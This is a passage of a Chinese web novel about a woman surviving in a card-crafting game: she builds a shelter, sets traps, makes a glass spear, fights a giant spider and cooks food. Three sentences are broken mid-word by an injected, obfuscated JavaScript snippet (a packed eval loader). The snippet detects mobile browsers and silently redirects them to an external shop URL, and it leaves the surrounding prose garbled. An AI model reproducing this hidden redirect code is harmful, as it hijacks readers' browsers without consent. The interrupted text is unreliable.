这张垃圾卡下,果然也有【隐藏属性】这条额外提示。 【隐藏属性:鸟兽们记住了这个位置,会重返而来。】 后面还有一串倒计时。 金琅不由得抬手抚摸这两行字眼,挽起盛满欣悦的嘴角。 好歹是玩过游戏的,虽然看着信息模糊,可她却马上明白了。 意思是:她可以用这张卡牌来捕获猎物! 怎么捕获暂且不提,但肯定能为自己带来资源! 收起卡牌,金琅继续行走,满心的欢喜像在散发着温暖,她几乎感受不到寒意。 可原本的体力上限就比常人低,先前又操作卡牌,探索花费的体力又如流水,她的体力值快要见底了。 金琅无奈摇摇头,摩挲下颏,还是取出几张卡牌。 是刚采集不久的[浆果]。 手里一共有3张,而在今天结束前,她必须要至少留2张食物卡才行。 但想着她还没采集的,所以仍是使用了2张。 卡牌顿时变成一捧红艳艳圆溜溜的小型浆果,每张卡牌都能恢复10点体力值。 金琅嗑下一颗浆果,酸酸甜甜的充盈汁水立刻填满在口腔中,体力值也开始回升。 接下来不能再逛了,她需要开始采集当前最有用的物资。 …… 金琅最终将目光放在了杂草与污水上。 杂草是为了建造庇护所,污水则是为了每日的消耗。 这时想喝到净水不大可能,好在游戏也认污水。 金琅也在地上找到了浅底的小水潭,采集后就能得到[污水]。 而因卡册解锁了新功能,金琅瞧着采集出来的2张[污水]卡牌,眉毛上挑着,双眼笑成了缝。 原本就只剩下5份杂草了,金琅仅需再采集3次,数量应该就能凑齐! 吃下最后的浆果,她埋头睁大眼,专门寻找杂草丛,一心不闻空间外的喧嚣。 时间进度条一丝不苟地往前行进着,带来无限的紧张与恐慌。 空间内的光线也开始变化,若说先前是明亮,这时已渐渐暗淡下来。 没有太阳,自然不会有黄昏落日。金琅发现亮度变化,更是置身于此,仍是不自主慌乱一阵。 她吞咽了口唾沫,顺着稍许干燥的喉咙流下。 但好消息是,她终于凑够所有的材料了! 庇护所应该是固定在某处的,只要建下,就只能在附近转悠了。 可金琅也逛了圈,这空间其实到处都差不多,能刷新出什么,全看运气。 先前那地方还种下了枯死木,所以金琅打算返回到离那不远的地界,之后打开【庇护所】选项。 【是否建造1级庇护所?】 而那两行字下方也出现了是与否的选项。 金琅直接选择【是】。 卡牌容量骤然减少,眼前出现一个半透明的虚拟地基,应当是让她选择在哪建造。 金琅用意识选定。 然而庇护所并不是马上就能建好的,地基选定后,又出现了那熟悉的进度条。 而且前进得很慢。 金琅看了眼时间,略微拧眉,又稍许心神不宁。 也不知能不能在亮度完全暗下前,将庇护所建好? 如果建造庇护所是新手期内的主线任务,那三天时间还是比较宽松的。 但金琅就怕1级庇护所,并不够抵挡将来会发生的灾难,所以要是资源足够,她希望能够在新手期鸟窝,再把庇护所升升级。 当然,自己这个幸运E,最大的目标还是能继续活下去。 见体力值还有些,金琅赶紧取出一张[酸涩浆果丛]卡牌。 她在卡册里看过,其实这张卡牌并不算垃圾卡,但也不是什么好卡。 使用卡牌,眼前又出现了一堆灌木丛。 但与普通浆果丛唯一的区别,就是里面的浆果颜色发黄发绿,瞧着就让人酸到牙倒。 而有了卡册功能,金琅一口气获得了5张[酸涩浆果]卡牌! 这还仅是一张卡牌里采集的! 可金琅笑容里的灿烂,却又被卡牌的描述冲淡半分。 酸涩浆果虽然同样增加10点体力值,却会扣除3点精神值。 所以在有食物的情况下,绝大多数人都不会直接食用。 但她精神值高,而且两种浆果的合成配方都相同。 况且前期饮食短缺,只能先忍忍了。 见庇护所仍未完成,自己也还有卡牌没采集,金琅吃下一份酸涩浆果。 嚯!太酸了! 金琅皱起脸龇起牙,舌头仿佛被猛兽狠狠咬了一口,被刺激出的唾液汹涌迸出充斥在嘴里。 金琅梗着脖子总算咽下去,却也肠胃翻滚一阵,良久才将将恢复。 但起码增加了体力值。 接着她将那张[快被鸟兽吃光的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586917|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浆果丛]取出,就在离庇护所地基旁不远的地面上,开始操作。 几乎空荡荡的浆果丛被放置,不知是卡册的缘故还是什么,倒计时也移到了上方。 金琅又拿出那张[带刺杂草丛]卡牌。 与正常杂草丛不同,如果没有防具,采集时会缓缓扣除生命值。 金琅在原游戏里采集过这个资源,当时也是直接空手采的,其实消耗的生命值并不多。 想着能出新卡牌,而收集新卡牌能解锁新功能,金琅还是选择采集了。 手上逐渐出现细小的血痕,疼痛感仿佛在被蚂蚁轻轻咬噬,金琅抬眼,生命值正在以-1慢慢降低。 采集完后,被扣除5点生命值,但却获得杂草x4、荆棘x4,完全不亏。 又是一张新卡牌的产生。 金琅眼中跃着激动的光芒,熟稔地打开卡册。 [荆棘]这张卡牌里,也早已写下详细信息,包括获取方式、合成配方等等。 而荆棘最佳的用途,无疑是制作道具,尤其是——陷阱! 在所有配方列表中,金琅一眼就见到自己目前最心仪的道具:【荆棘陷阱】。 浆果丛大概也是明天能吸引鸟兽回来,只要在那之前她做好陷阱放上,应该就能捕捉到猎物了! 制作陷阱,需要荆棘x2、杂草x2、木材x1。 只再需要木材。 …… 金琅原本想再吃浆果去周围找找树木,可光线愈发暗淡后,远处就时不时传来些微弱声响,像是断断续续的悠长兽吠。 这让她不禁背肌紧绷起来。 空间里没有气温显示,金琅却能莫名感到丝丝缕缕的冷意,从脊梁骨一路蔓延到全身,根本无法强行抑制。 大概只能待在原地了。 金琅眉梢轻沉,转头去看庇护所的进度条,还有不到三分之一。 今天应该可以不用露宿野外……吧? 斟酌少时,她拿出那个拆开还没抽完的精良级卡包。 卡包能直接带走,并不占卡牌容量。 被写在游戏公告中的含金量,抽卡果然还是最后的出路。 卡包已经被抽出3张卡牌,金琅深吸一口气,怀着微微忐忑的心情,继续开抽。 [树]x1、[玻璃碎片]x1、[硬币]x2。 很好,看上去都是正常卡牌。 自己直接购买精良级卡包,的确是正确选择。 何况在买下后,她还剩1张硬币卡,加上这2张,又能购买一个普通卡包了! 没想到身为幸运E,还能打bo了? 金琅心中感叹,精神一振,脑海里像锅沸腾的热汤,让全身也暖乎乎起来。 但最后,她还是先按下自己跃跃欲试的手。 先用仅剩的体力值,将[树]采集了。 获得[木材]x4。 采集技能又发力了。金琅嘴里轻哼。 只是想要再制作陷阱,体力值远远不够。 周边也终于完全黑下,连看向自己的双手都变得朦胧起来。 金琅感觉有些轻风扑面,可那风中竟多出几分腥味。连那异响都清晰些许,似乎还在慢慢逼近,这让她不自主握起双拳,紧抿双唇。 “叮咚!” 好在这时,她又听见系统提示声,后面还跟着一连串好消息: 【1级庇护所已建造完毕!】 【获得积分奖励100点,请在排行榜内查看。】 然而下面还有句话,金琅迅速看完,体内仿佛猛然升起熊熊烈焰,止不住心花怒放。 【恭喜玩家[金琅]成为前一万名建造庇护所完成的玩家,即将发送排名奖励!】 5. 第5章 金琅眉梢扬起,面容神采奕奕,浑身都散发出新鲜的活力,就差没原地蹦起来了。 不过她暂时没去整理奖励,而是往新建好的庇护所凑近。 在昏暗的光线中,金琅只能察出大致轮廓。 1级庇护所是座茅草屋,除去木材作为支点,其余皆是软趴趴的茅草,仿佛大风吹过就能吹散,想想就不牢固。 就连进去的门口,也是一片草帘垂下的。 金琅无奈,但仍是掀开走进。 茅草屋总共不超过十平米的面积,几乎隔绝了室外的光线,黑咕隆咚的,可至少躺下没问题。 时间的进度条只剩少许,兵荒马乱的一日终于要结束了。 赶在结束前建造好庇护所已是幸运,虽然是间茅草屋,却也能带来点欣慰与安全感。 金琅的体力值所剩无几,便不打算继续操作,而是打开排行榜,按下排名直达。 【金琅】【积分:189】【排名:88】 见到这行清晰的字眼,金琅只感觉两颊暖融融的,看不见也明白,肯定是自己激动到红光满面。 区域中足足百万人,能排在百名之内绝对属于前排,况且也有积分相同的并列玩家。 何况前面积分更多的玩家,恐怕幸运等级都到达A甚至S级,自己这个幸运E能排在其中,金琅已经非常满意了。 而好友界面里,金琅也见到更多的好友申请。 这回大抵不全是群发,而是有目的地申请,就看能不能抱上某个大神的大腿。 往下滑动,又有一长串上百积分的玩家,其中的100分,估计都是建造庇护所送的。 取百万中的一万,也算是小基数吧? 金琅弯着嘴角心里窃喜,可才关闭排行榜,忽然又跳出个窗口来: 【今日已结束,请选择一种方案生存:】 金琅恍然大悟。 这里与原游戏一样,每天结束需要上交饮食卡。 总共三个选项,最低档的选项是两张食物卡与一张水源卡,但翌日只有50%几率能恢复满数值。 金琅蹙眉,轻轻磨着牙尖,眼神在光屏上游移着,心里开始琢磨。 她的体力值本就比普通人上限少,要是还回不满,明天能做的事不就更少了? 纵然庇护所休息可以恢复,但也消耗时间,就会不划算了。 抿抿唇,金琅下定决心,选择第二个选项:三张食物卡与一张水源卡。 选项下面还有空卡槽,把卡牌放进去就行。 金琅放进3张[酸涩浆果],和1张[污水]。 光屏即刻消失,再没任何动静。 金琅缓缓眨眼,觉察到忙活一天后涌上的困倦,不禁苦中作乐地想: 至少这回,不用亲自吃下那酸到爆炸的浆果了。 …… 躺在坚硬的地上和衣而睡,但她这夜睡得并不安稳。 耳边总能听见来自茅草屋外的异响,貌似有呜咽风声,也有野兽长啸,更有不知从哪传来的哀嚎,远在天边仿佛又近在咫尺。 金琅睡得断断续续,辗转反侧,冰凉的双手捂着耳朵,她能感受到后背抵着茅草屋毛刺刺的墙壁,轻微沙沙作响。 再睁开眼,四周仍然安静,茅草罅隙间射/进些微亮光,时间进度条开始缓慢前进了。 金琅坐起身,体内所有的骨节似乎都在咯吱作响。她哆嗦几回,两手上下摩擦着双臂,这冷意也使内心不安起来。 好像又发生了什么坏事一般。 微微头昏脑涨,她下意识先检查数值,可见到后却猛然怔住。 生命值没法通过休息来补充,体力值真的补满了,可是…… 精神值竟然只有90点,足足被扣除了30点! 食用酸涩浆果和污水都会扣精神值,但加在一起,也不至于这么多啊? 金琅脸色阴沉,活像被涂了半脸黑泥。 她想起昨晚格外不安稳的睡眠,简直像在做着悠长的噩梦,处处使人感到惊慌与恐怯。 看来光有庇护所还不够,还需要其他关键性道具。 作为游戏主播,金琅很快便猜到:肯定是火源! 如果她猜的没错,大概就是因为没有生火,而在漆黑寒冷的环境里时间过长,就会掉san! 金琅烦躁地攥起拳,最后还是强压着脾气没有发出,只将生火这事提上日程。 多亏自己精神值上限高,否则一下子扣除那么多,低数值就看得人心惊胆战。 金琅重新打起精神,极为期待地查看昨天系统下发的奖励。 只有一张[奖励宝箱]卡牌。 直接掏出使用,茅草屋内便出现一个通体黑色的箱子,这颜色与新手初始卡包相像。 金琅想起原游戏也有宝箱的存在,颜色区分与卡包一样,而且开启高级宝箱还需达成条件。 当然,宝箱里的物资也比较丰富。不过那也是以后的事了,她并不认为自己现在就能获得宝箱。 金琅像拆开卡包那样打开宝箱,也是跳出一张张卡牌: [枯死木]x3、[弯曲木]x1、[虫蛀木]x1;[覆着青苔的石头]x3; [酸涩浆果]x3、[野菜]x1;[污水]x2、[清水]x1;[硬币]x3 金琅看完后两眼一翻,差点一口气没上来,回过神才发现自己紧紧抓着领口,指尖稍稍泛白。 不是,怎么宝箱里还是有那么多垃圾卡啊? 就算她有金手指,也不代表她想见到那么多垃圾卡,当然希望能有更好的卡牌! 果然,这幸运E怕是刻在灵魂深处了,外挂都难全救回来。 金琅感觉整张嘴里都泛着苦涩,只能强打精神整理卡牌,希望能有些好消息。 在卡册里查询过新卡牌的信息后,金琅脑中迅速想着今日的计划。 现在她的卡牌还有:[树]、[酸涩浆果丛]、[荆棘]、[玻璃碎片]、[树虫],以及部分材料卡。 想到接下来要做什么,金琅先离开了茅草屋。 …… 此时相当于清晨时刻,周围环境好像也产生了细微变化。 金琅马不停蹄地先使用[树],采集出[木材]x4。 接着再取出[荆棘]与[杂草],三种不同的卡牌合成,进度条出现。 卡牌自行融合,散发出白炽灯似的光芒,开始合成。 是金琅昨天就想制作的[荆棘陷阱]。 金琅看着进度条,眸中晶亮。可制作物品消耗的体力值比采集更多,幸好多数量可以合并。 她又用剩余的2张[木材],继续操作。 作为最开始的工具卡,金琅了然于心: 一张[木材]可以创造出一张[木棍],而这张卡牌是许多工具卡的前提。 收到两张[木棍],金琅想着制作工具和武器。 最简单的武器是长矛,只需要木材x1木棍x1就能制作,但她却取出了[玻璃碎片]。 至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586918|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于工具,金琅首先想到的,就是制作斧头。 最基础的石斧,需要木棍x1,石头x2。 放眼望去,茅草屋周围并没刷新出石头,金琅只能拿出她刚获得的[覆着青苔的石头]。 使用卡牌,一块石墩子大小的岩石出现在眼前,灰色的外表上有着斑斑点点的深绿色青苔。 可金琅盯着那岩石,心里忽然咯噔一响。 空手撸树也就算了,这石头不会也要自己撸吧?那得到猴年马月? 没有趁手的工具,金琅摇摇头,还是先去查看制作的其他物品。 玻璃碎片与木棍成功合成后,成为一张新卡牌:[玻璃长矛]。 [玻璃长矛] [卡牌类型:武器丨稀有度:普通] [伤害:B-丨耐久:20次] 【尖利但脆弱,勉强能用。攻击时20%概率附加[流血]状态】 金琅兴奋地转化成实物,木矛顶端上的玻璃尖极为锐利。 装备在手中,朝着空气戳刺几下,挥舞得呼呼作响。金琅的心情也跟着轻飘飘的,变得极好。 而且装备后,自己属性里的攻击,就从C上升为了B-。 虽然耐久值少,但总算有了件能用的武器! 当然,事先就清楚能合成武器,还是因为金琅在原游戏内就见过这些。 荆棘陷阱也终于制作好了,她将两个陷阱分别放在浆果丛的两端。 能种植蘑菇的[枯死木]需要提前埋入地底,带着3张卡牌,金琅去了之前的地点。 先前的第一个,上面的进度条几乎要满了。金琅将所有枯死木都埋入地下,剩余的卡牌,她打算等回来后再查看。 可以外出探索了。 如果金琅记得没错,游戏中最基础的火源是火把,需要木棍x1、杂草x2。 但火把倾向于携带照明,时间也短,根本坚持不了一个晚上。 而再下一个等级,就是营火,需要木材x2、杂草x4。 能固定的火源,持续时间也比火把更长。虽然同样没法烧一整夜,却可以继续添加燃料。 最关键的是,有营火,就能烹饪生食,熟食增加的体力值也比生食更多。 所以最终仍是这些基础材料卡,要的最多! 金琅踏步,沿路见到那些刷新出来的树木、杂草丛和石头。 木材、杂草的数量最多,金琅也终于见到了刷新出的浆果丛。食物不要白不要,仗着自己卡牌容量多,她也全部采集下来。 只是体力值消耗得很快。 杂草最好采集,树木其次,金琅愈发熟练后,花费的时间也没起初那么久了。 吃下一份浆果,剩余的体力还需要回到茅草屋。 虽然没有地图,但她原先沿着直线出发,应该能摸索着回到起点。 “沙沙……” 金琅顿时停下脚步,听见这略有些急促的窸窣声响后眉头缓缓拧起。她尽量平定下渐渐紊乱的呼吸,浑身的肌肉却跟着僵硬起来。 今天走得比昨天远,所以……遇见危险的概率更大了? 金琅默默将那把玻璃长矛拿出,握在手里,企图感受到一丝安全感。 “唰唰……” 有什么像是脚步的声音慢慢靠近了。 金琅瞬间绷紧身体,一时忘记呼吸,连忙蹲下身,快速移动到身边某个杂草丛旁。 会是什么? 她紧紧攥着长矛,双眼一眨不眨朝着声源望去。 6. 第6章 “唰唰!” 杂草丛中抖了几下,一只小兔子蹦出来,两只毛茸茸的耳朵与尾巴轻轻颤着,在快速观察周围的动静。 金琅再也忍不住长长松口气,全身舒展下来,额头却还留着之前渗出的细细冷汗。 但她很快盯起这只兔子,眼里放光。 游戏中会出现生物,而如果捕捉到这种野兽,获得的食物能更多! 就是可惜她没有远程武器,或者说还没来得及制作。 想了想,金琅看向手里长矛锐利的玻璃尖,就朝兔子的方向眯眼瞄准起来。 B等级的命中率,不知道可不可以搏一搏! 于是金琅完全屏息,心里默数后将长矛用力掷出。 但兔子果然要更敏锐些,在矛尖刺中前便轻松跳离,连根毛都没碰到。 金琅叹息一声,垂头去取长矛,还好没攻击到,耐久值没降。 然而走近看清后,金琅忽然睁大眼蹲下身,仔细察看起来。 方才出现兔子的地界上,竟然还有一个巴掌大小的洞口,黑漆漆静悄悄的。 这难道是……兔洞? 金琅嘴角轻微上翘,噙着笑意,眉毛都跟着跳动起来。 这不巧了,她刚做出2个陷阱! 荆棘陷阱的耐久度有8次,而放置的浆果丛却是一次性物品,就算捕到猎物,陷阱也还能继续使用。 金琅满意地点点头,脑中迅速展开接下来的计划:她之后预备把陷阱放在兔洞周围,说不定能用收获! 时间进度条仍在缓缓前进,金琅打算先回去了。 在今日结束前,还有几件事要做。 今天外出探索的距离更远,空间的光线便也像上空的深渊逐渐压下,慢慢变得暗淡。 不知不觉,时间进度条已过去一半多。 视线变得稍许模糊,所见物体的边缘也朦胧起来。 金琅抖抖肩,倏忽感觉心里发毛,仿佛在被一根昆虫节肢上的绒毛轻轻刮擦。 下一刻,她猛地停下脚步。 前方不知为何,忽然出现些极为清晰的细小红点,甚至正在逐步朝她这里移来! 无限寒意窜上脊梁,又逼出金琅背后一层薄汗。 光亮暗下后会有更危险的生物出现,这是在原游戏内也有的设定。 更不用说是这求生游戏了,新手期恐怕也不例外! 金琅从头到尾都拿着玻璃长矛,此时更是横起挡在身前。 她能听见自己渐渐加剧的心跳声,混合吞咽的轻响,鼻尖萦绕着一股极淡的难闻气味。 “嗖!——” …… 金琅指尖僵硬,意识却比身体反应快。 她想竖起长矛攻击,可那生物的速度貌似更迅速,早已高高跃起冲来。 如果没有遮挡,绝对会被扑脸。 好在被长武器给挡下了,金琅的手背甚至还能感觉到被什么尖利的东西划了几下。 不疼,但生命值-1。 可那生物此时凑得近了,金琅反而能发现那是什么。 她倒吸一口气,心也随着这动作乍然冲上了嗓子眼。 那竟然是一只蜘蛛! 先前见到的小红点,是它那冰冷的眼睛! 凭着暗淡的光线还能看到,这只蜘蛛加上节肢,足有大型犬那么大,连口中的尖牙都分外明晰! 金琅双耳嗡嗡作响,巨大的恐惧束缚着她留在原地静止,她一瞬间里甚至觉得自己肯定掉下点san值。 再次吞咽了口,金琅强行压下慌乱的呼吸,决定主动出击。 趁着还没完全入夜,空间陷进一片黑暗。 金琅紧握长矛,用锐利的矛尖用力向蜘蛛身上刺去! 但这蜘蛛大抵能算作怪物,直接完美闪躲,攻击竟又落了空。 可此刻若是逃跑,估计会被追上。金琅狠下心再次伸出长矛,反手就刺向跳开的蜘蛛上。 “噗嗤!” 玻璃长矛重重刺进蜘蛛的腹部,溅出些奇怪的粘稠液体。 蜘蛛节肢开始疯狂乱颤,一时没有上前,而金琅也发现它头顶上亮出了血条。 【蜘蛛:50/80】 玻璃长矛一击扣除30点血量,这给了金琅很大的勇气和信心,反而舞着矛再度冲上前。 不过刺击需要蓄力,但用长矛横扫倒也有防御的效果,她庆幸自己做的第一个武器就是长兵器。 又击中两回,终于把血量清零了。 蜘蛛团成一团蜷缩着在地上,再也没有声息。 玻璃长矛耐久值减4,触发负面状态的几率也小了些,但好歹是解决了这次危机。 悬着的心终于落回肚子,金琅刚感觉踏实点,眼前视野却已完全黑下来,击杀蜘蛛终归花费了不少时间。 昨晚听见的那些异响也重新纷涌而至,金琅打着寒战,赶忙大手一挥,先把蜘蛛尸体消失后出现的卡牌收起。 猛吸口气,她闷头朝庇护所的方向飞奔而去。 所幸距离本就不远,只是中途出现了这么个插曲。 感知到已经抵达庇护所,金琅这才慢慢停下大口喘气,喉间返上丝丝腥味,心跳急促。 时间进度条还没结束,金琅摸摸自己出着汗却冰凉的脸,连忙取出今日外出收集的材料。 木材x2,杂草x3,再用最后剩余的体力,开始合成! 纵然还想做其他事,可视线实在太暗了,不仅看不清,金琅更怕会继续扣除精神值。 好在时间花的不多,光芒急速闪过,一个燃烧着的火堆出现在金琅眼前,霎时照亮四周,包括后面的茅草屋。 火光蹦出点点星子,营火带来的光与温暖,总算让金琅稍稍定下心神。 顺完气,金琅打起精神吃下一个浆果,先把那[虫蛀木]取出。 进度条消失后,又出现两张卡牌:[树虫]x1、[空心木]x1。 空心木有升级途径,可以制作更好的物品,也就能增加更多的卡牌容量。 目前仅有2个,金琅还是选择先直接使用。 卡牌容量,增加至26! 有了火光,勉强能见到白日里置放好的事物。 4个枯死木埋在一处,其中一个长出棕褐色的蘑菇,从空地上钻出。 金琅赶紧采集,获得[蘑菇]x1。 满意收起,再去那灌木丛旁。 能引来鸟兽的一次性灌木丛,现在已经消失了。 坏消息:陷阱估计还有捕获概率,俩陷阱里只有一个显示已捕获。 好消息:至少捕获到了生物。 金琅操作后,获得[死鸟]x1。 本想收起陷阱,可转念一想,或许放在原地也有机会捕获,金琅便没收回,而是带着满满收获回到庇护所。 迈开沉重的脚步,金琅掀起草帘,让门外的火光照耀进来。 之后一屁股坐在茅草屋内,疲惫马上奔涌而来,体力值也是要一滴不剩了。 可想做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586919|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却依然还有许多。 她微垂着脑袋,一刻不停地开始接着做计划。 新手期很重要,这一晚,她准备继续使用三张食物卡和一张水源卡。 水源还有宝箱里开出的污水清水,食物也渐渐增多了,尤其是浆果,所以她仍能上交这个。 而稍过片刻,金琅也发现了庇护所的好处:自己的体力值,果然在缓慢回升! 采集基本是消耗5点体力值,制造合成卡牌最多10点。在时间结束前,她应该还能做其他事。 但也许是庇护所太过低级,恢复速度慢得令人心焦,金琅都不清楚能不能在今日结束前,恢复出那少量的5点体力值。 金琅扯扯嘴角,一声低叹。 在眼前的面板上晃了圈,她打开【庇护所】选项。 建造完1级庇护所后,也显示出庇护所下一级的升级要求: 【升级为2级庇护所需要:木板x5、杂草x15、黏土x3】 也有基础材料,虽然新手期只剩一天,但金琅还是想着争取在结束前,能将庇护所再升级。 琢磨完,又把刚才击杀蜘蛛后获得的卡牌取出。 打完就跑,她都没来得及瞧瞧出了什么。 总共3张卡牌:[虫肉]x2、[蜘蛛丝]x1。 见到虫肉金琅就不禁想到,她还有两张[树虫]卡牌没使用。 先前是没有武器,才暂时不用怪物卡。但现在她有玻璃长矛,还有击杀怪物的经验了,而这树虫听上去可比蜘蛛弱。 虫肉其实属于食物卡,增加体力值还不少,不过生吃就会扣除精神值。 金琅反而对[蜘蛛丝]这张资源卡更感兴趣。 可还没用卡册好好查阅一番,每晚的固定窗口便出现了: 【今日已结束,请选择一种方案生存:】 金琅低下眼睫,内心虽有不甘,却也只能妥协放上卡牌,将酸涩浆果全部消耗完。 营火火势也会随时间变小,期间可以添加燃料来增强火势。 现实中很多助燃物,在游戏里也能使用。 金琅以防万一,睡前还是在营火中加上一份杂草,才放心躺下。 纵然背后坚硬,好在那些使人惊恐的异响减少了,也终于算有场正儿八经的睡眠。 她甚至能觉察到天亮时鸟儿清脆的啁啾,嗅到缕缕清新的草植气息。 但坐起身时,她还是感到丝丝冷意裹满全身,忍不住打颤。 伸懒腰骨节作响,金琅拍拍脸清醒过来,立刻抬头检查自己的数值。 很好,精神值只扣除了饮食卡那些。 目前她的数值是:生命值88,体力值80,精神值80。 但这么看,自己简直是个弱鸡,还很非酋。 金琅皱起脸苦笑,心底铺开一小片细密的钝痛。 可已过去两日,也差不多熟悉了游戏。既然确定不能离开,那就必须要活下去。 金琅离开茅草屋,营火已经熄灭,只留下悠悠上升的青烟。 有卡册的积分加成,她没有时时刻刻去关注排行榜,而是很快进行昨日就想好的计划。 拿上玻璃长矛,金琅转手取出2张[树虫]卡牌。 心中一念,两张卡牌化作光球,飞速移动到眼前的空地上。 金琅想起昨夜与蜘蛛的缠斗,情绪还是如拉满的弓弦那样绷紧了。 她直勾勾望着那光球,同时也攥紧了手中长矛。 不知到底会出现什么? 7. 第7章 光芒消散,地上出现两只虫子。 像整条白白胖胖的椰蓉吐司,但放大数倍的口器,还有那软趴趴在蛄蛹的身躯,看着就令人掉san。 金琅嫌弃地瘪瘪嘴,忍不住往后退半步。 游戏中的怪物,有的会主动攻击,有的不会,速度也有快慢。 这树虫与蜘蛛,大概就是不同的两种类型。 金琅摇头放弃细想,举起长矛刺在树虫身上。 “噗嗤”一响,树虫的体内溅出许多粘稠液体,蛄蛹得更厉害了。 而玻璃长矛的攻击更高,竟然一击就杀死了树虫! 树虫尸体消失,转而掉落了3张[虫肉]卡牌。 加上从蜘蛛身上获取的,目前一共拥有5张[虫肉]。 击杀树虫只花费两下攻击,玻璃长矛的耐久值也减了2。 稍稍整理卡牌,金琅回到庇护所中,开始整理昨天探索采集的材料。 庇护所虽然体力值恢复慢,但蚊子再小也是肉。 木材全部制作成木板,杂草另外放,金琅又取出那张[死鸟]卡牌。 [类型:资源丨稀有度:普通丨获取方式:狩猎] [最佳用途:使用利器收获肉,作为食物。] 金琅当前手里唯一的利器,恐怕只有玻璃长矛能沾边。 可现在外出已经有几率遇上危险了,玻璃长矛的耐久值又有限,她不想浪费在这方面。 看来要制作其他工具了。 金琅沉思顷刻,眉宇间便轻轻舒展开来。 她准备先做出石斧与石锄! …… 但这就代表着,她必须要开始撸石头了。 正好从卡包里开出的3张[覆着青苔的石头]还没采集,金琅掏出卡牌,再次使用。 撸石头注定比撸树更花时间,金琅几乎使出十八般武艺,每一招都舞得虎虎生威,才终于有了收获。 3张卡牌,总共获得6张[石头]、8张[青苔]。 有采集加成,也让卡牌容量直接爆满,金琅更是一场欢喜一场愁。 一边用木材制作木棍,一边打开卡册查阅。 这[青苔]原来并不算垃圾卡,而算普通资源卡。 金琅嘴里嘶了一声。 在原游戏里,她好像没什么印象? 可能幸运等级起码是D,她见到的普通岩石更多。 木棍做完,再与石头进行组合,两件工具都需要2个石头。 金琅继续看下去。 只等读完最后一个字,体内仿佛瞬间被点燃欣喜的火种,连目光都变得灼灼起来。 能制作净水道具甚至治疗道具…… 这青苔,是个好东西啊!? 其他东西暂且不用,金琅一眼相中的就是那净水道具。 探索时还能找到小水潭,但这种水潭里只能采集到污水。 污水虽然也能用于生存,却会扣除精神值,而且不能用来做其他物品,都要用净化过的水。 所以无论如何,净水道具都是十分重要的。 金琅径直点开卡册下面的【合成配方】。 框架立刻展开,条条栏栏全写好了。 最基础的是一个名为[滤水袋]的道具,可以直接合成,需要青苔x8、布料x1、绳子x1。 但缺点是,最后只有30%几率能将污水净化为清水。 可金琅还是决定制作,一是为了减缩多余卡牌,二是尽量能用净水生存。 那就只差布料这个材料了! …… [石斧][石锄]两张工具卡出现在金琅眼前,她满心欢喜地拿在手中挥舞一番。 石斧也算利器,所以她顺利从死鸟身上获得[肉]x1。 看着这张卡牌,金琅只感觉有股喷薄而出的狂喜,竟把丝缕冷意也给褪去。 这不是植物,也不是怪异的虫肉,而是一块普通的能填肚的肉! 金琅喜滋滋收起,并不觉得少。又离开茅草屋,来到先前埋入枯死木的地方。 时间进度条果然满了,金琅马上蹲身采集。 获得蘑菇x4,可她没想到的是,这次竟然会得到新的物资: [毒蘑菇]x1。 金琅对这个倒有印象。 绝对不能吃,但能做成毒药,对攻击有些加成。 可想要加工,那就需要上设备了。然而金琅这时也不可能有蓝图卡。 金琅抿抿唇,还是打开卡册查看信息。毒蘑菇也有合成配方。 然而文框中第一个配方却使金琅眼睫细颤,恢复成之前神色自若的模样,嘴角轻轻弯起。 [毒饵陷阱] [所需材料:木材x2+杂草x4+浆果x1(或蘑菇x1、肉x1)+毒蘑菇x1] [捕获概率:100%丨耐久值:1次] 虽说金琅已经有两个陷阱,但以目前的形势,毒蘑菇只会占据容量。 扔掉又有些舍不得,最好是能发挥价值,做出道具来。 这个就非常合适! 金琅松了口气,胸前返上轻松而悠长的适意,回到庇护所开始制作。 忙活一上午,空间内的光线模拟着正午,让室外的景色熠熠生辉,给人不真实的梦境感。 金琅的体力值上限还是太少,此时她的体力就只剩个底了。 还好现在她也不缺食物。 离开茅草屋,金琅来到熄灭的营火边。 营火依旧青烟袅袅,只要再添加助燃物,就能重新燃起火焰。 金琅便又扔进杂草,火光重新亮起,温暖与焦味扑面而来,给予些微希望。 所有浆果都用完了,如今食物卡还有虫肉x5、蘑菇x5、肉x1、野菜x1。 完全能充足恢复体力,以及夜晚上交饮食卡! 金琅打算先烤制虫肉与蘑菇。 好在数量堆加,仅需花费一次体力值。 蘑菇生吃只能增加5点体力,但烤制后就能增加10点。 而虫肉生吃,虽然能增加10点体力,却会扣除精神值。不过烤制后再吃,可以增加足足25点体力! 真不愧是纯纯的蛋白质啊,简直是新手的性价比最高的食物。 金琅心中感叹。 